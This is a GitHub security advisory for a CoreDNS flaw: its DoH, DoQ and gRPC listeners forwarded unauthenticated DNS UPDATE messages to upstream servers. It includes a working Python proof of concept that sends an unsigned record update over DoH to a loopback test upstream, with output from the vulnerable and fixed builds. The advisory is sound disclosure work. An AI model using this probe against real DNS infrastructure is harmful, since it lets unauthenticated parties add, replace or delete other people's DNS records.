{"id":"GHSA-9gm5-9rfh-m6vx","summary":"CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP","details":"### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n    bind 127.0.0.1\n    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n    forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n    return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n    zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n    update = (\n        encode_name(\"foo.example.com.\")\n        + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n        + socket.inet_aton(\"192.0.2.123\")\n    )\n    header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE \u003c\u003c 11, 1, 0, 1, 0)\n    return header + zone + update\n\n\ndef read_name(message, offset):\n    labels = []\n    end = None\n    seen = set()\n    while True:\n        if offset \u003e= len(message) or offset in seen:\n            raise ValueError(\"invalid DNS name\")\n        seen.add(offset)\n        length = message[offset]\n        if length & 0xC0 == 0xC0:\n            if offset + 1 \u003e= len(message):\n                raise ValueError(\"truncated compression pointer\")\n            if end is None:\n                end = offset + 2\n            offset = ((length & 0x3F) \u003c\u003c 8) | message[offset + 1]\n            continue\n        offset += 1\n        if length == 0:\n            return \".\".join(labels) + \".\", end if end is not None else offset\n        if length & 0xC0 or offset + length \u003e len(message):\n            raise ValueError(\"invalid DNS label\")\n        labels.append(message[offset : offset + length].decode(\"ascii\"))\n        offset += length\n\n\ndef question_end(message, count):\n    offset = 12\n    for _ in range(count):\n        _, offset = read_name(message, offset)\n        offset += 4\n        if offset \u003e len(message):\n            raise ValueError(\"truncated question\")\n    return offset\n\n\ndef parse_update(message):\n    _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n    if (flags \u003e\u003e 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount \u003c 1:\n        return None\n    offset = question_end(message, qdcount)\n    name, offset = read_name(message, offset)\n    rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n    offset += 10\n    rdata = message[offset : offset + rdlength]\n    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n        return None\n    return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n    ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n    end = question_end(message, qdcount)\n    response_flags = flags | 0x8000\n    return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n    try:\n        update = parse_update(message)\n        response = response_for(message)\n    except (ValueError, struct.error):\n        return None\n    if update is not None:\n        received.put((peer, update))\n    return response\n\n\ndef serve_udp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            message, peer = sock.recvfrom(65535)\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        response = handle_message(message, peer, received)\n        if response is not None:\n            sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n    data = bytearray()\n    while len(data) \u003c size and not stopped.is_set():\n        try:\n            chunk = connection.recv(size - len(data))\n        except socket.timeout:\n            continue\n        if not chunk:\n            return None\n        data.extend(chunk)\n    return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            connection, peer = sock.accept()\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        with connection:\n            connection.settimeout(0.1)\n            while not stopped.is_set():\n                length = recv_exact(connection, 2, stopped)\n                if length is None:\n                    break\n                message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n                if message is None:\n                    break\n                response = handle_message(message, peer, received)\n                if response is not None:\n                    connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n    context = ssl._create_unverified_context()\n    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n    try:\n        connection.request(\n            \"POST\",\n            \"/dns-query\",\n            body=payload,\n            headers={\"Content-Type\": \"application/dns-message\"},\n        )\n        response = connection.getresponse()\n        body = response.read()\n        return response.status, len(body)\n    finally:\n        connection.close()\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8053)\n    parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--upstream-port\", type=int, default=15354)\n    parser.add_argument(\"--timeout\", type=float, default=2.0)\n    parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n    args = parser.parse_args()\n\n    received = queue.Queue()\n    stopped = threading.Event()\n    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    udp_sock.settimeout(0.1)\n    udp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    tcp_sock.settimeout(0.1)\n    tcp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock.listen()\n    threads = [\n        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n    ]\n    for thread in threads:\n        thread.start()\n\n    payload = update_message()\n    try:\n        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n        try:\n            peer, update = received.get(timeout=args.timeout)\n        except queue.Empty:\n            peer = update = None\n    finally:\n        stopped.set()\n        udp_sock.close()\n        tcp_sock.close()\n        for thread in threads:\n            thread.join(timeout=1)\n\n    print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n    print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n    if update is None:\n        result = \"blocked\"\n        print(\"upstream_received_update=false\")\n    else:\n        result = \"forwarded\"\n        name, ttl, address = update\n        print(\"upstream_received_update=true source=%s:%d\" % peer)\n        print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n    print(\"result=%s\" % result)\n\n    if args.expect != \"either\" and args.expect != result:\n        raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.","aliases":["CVE-2026-86003"],"modified":"2026-09-17T20:45:05.927392571Z","published":"2026-09-17T20:33:05Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-17T20:33:05Z","nvd_published_at":"2026-09-16T19:17:51Z","cwe_ids":["CWE-441"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86003"},{"type":"WEB","url":"https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"},{"type":"PACKAGE","url":"https://github.com/coredns/coredns"},{"type":"WEB","url":"https://github.com/coredns/coredns/releases/tag/v1.14.7"}],"affected":[{"package":{"name":"github.com/coredns/coredns","ecosystem":"Go","purl":"pkg:golang/github.com/coredns/coredns"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.14.7"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.14.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-9gm5-9rfh-m6vx/GHSA-9gm5-9rfh-m6vx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}